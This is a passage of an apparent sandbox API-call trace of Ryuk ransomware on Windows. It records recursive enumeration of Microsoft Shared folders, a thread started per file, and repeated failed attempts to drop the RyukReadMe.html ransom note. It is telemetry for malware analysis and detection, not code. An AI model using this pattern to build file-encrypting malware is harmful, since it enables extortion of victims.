	[0173.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0173.982] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0173.982] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1
	[0173.982] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1
	[0173.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0173.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c
	[0173.985] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.986] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1
	[0173.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0173.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0174.070] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.070] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0
	[0174.070] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0174.071] SetLastError (dwErrCode=0x0) 
	[0174.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.071] GetLastError () returned 0x5
	[0174.071] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.071] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1
	[0174.071] SetLastError (dwErrCode=0x0) 
	[0174.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.072] GetLastError () returned 0x5
	[0174.072] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0174.141] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.141] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1
	[0174.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0174.143] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.144] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0
	[0174.144] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0174.144] SetLastError (dwErrCode=0x0) 
	[0174.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.144] GetLastError () returned 0x5
	[0174.144] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.144] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.145] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1
	[0174.145] SetLastError (dwErrCode=0x0) 
	[0174.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.145] GetLastError () returned 0x5
	[0174.145] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0174.147] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.148] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1
	[0174.148] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1
	[0174.148] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798
	[0174.151] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.151] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1
	[0174.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794
	[0174.154] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.155] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0
	[0174.155] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0174.155] SetLastError (dwErrCode=0x0) 
	[0174.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.156] GetLastError () returned 0x5
	[0174.156] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.156] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1
	[0174.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338
	[0174.159] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.160] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0174.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0174.162] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1
	[0174.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1
	[0174.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1
	[0174.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1
	[0174.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0
	[0174.163] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0174.164] SetLastError (dwErrCode=0x0) 
	[0174.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.164] GetLastError () returned 0x5
	[0174.164] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.164] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0174.164] SetLastError (dwErrCode=0x0) 
	[0174.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.165] GetLastError () returned 0x5
	[0174.165] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0174.165] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.165] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0174.165] SetLastError (dwErrCode=0x0) 
	[0174.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.166] GetLastError () returned 0x5
	[0174.166] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
